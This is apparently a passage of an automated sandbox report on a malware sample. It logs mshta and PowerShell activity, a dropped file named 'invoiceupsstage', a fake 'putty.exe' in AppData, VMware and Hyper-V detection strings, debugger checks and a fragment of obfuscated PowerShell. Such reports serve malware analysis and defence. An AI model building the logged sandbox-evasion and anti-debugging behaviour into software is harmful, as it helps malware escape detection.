Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1944	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1600	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5378	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4301	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\invoiceupsstage[1]

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Evaded block: after key decision	graph_12-88466
Source: C:\Users\user\AppData\Roaming\putty.exe	Evaded block: after key decision	graph_12-89402
Source: C:\Users\user\AppData\Roaming\putty.exe	Evaded block: after key decision	graph_12-89537

Source: C:\Users\user\AppData\Roaming\putty.exe

API coverage: 4.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4248	Thread sleep count: 1944 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5336	Thread sleep count: 1600 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3148	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678633F40 FindFirstFileA,FindClose,	12_2_00007FF678633F40
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678626B00 GetProcAddress,FindFirstFileA,CloseHandle,	12_2_00007FF678626B00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678632190 FindFirstFileA,FindClose,FindWindowA,	12_2_00007FF678632190
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678600520 GetWindowsDirectoryA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,	12_2_00007FF678600520

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000007.00000002.1772670631.000001FB69A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWMG%SystemRoot%\system32\mswsock.dllring($TRZjYlWGC);$uIvTQuuE.Dispose();&$xbgxJDMGJ.Substring(0,3)$xbgxJDMGJ.Substring(3)M
Source: mshta.exe, 00000004.00000002.1793264894.0000023F9A0F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} I
Source: mshta.exe, 00000004.00000003.1782232696.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790203146.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792575197.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.0000023797681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2768031375.00000253D2227000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2769230455.00000253D7856000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000007.00000002.1772670631.000001FB69AA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000007.00000002.1770606726.000001FB69820000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\Y
Source: putty.exe, 0000000C.00000002.2767022134.0000022102F9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6786AB7AC IsDebuggerPresent,OutputDebugStringW,

12_2_00007FF6786AB7AC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67868AC78 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		12_2_00007FF67868AC78
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786A4664 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		12_2_00007FF6786A4664

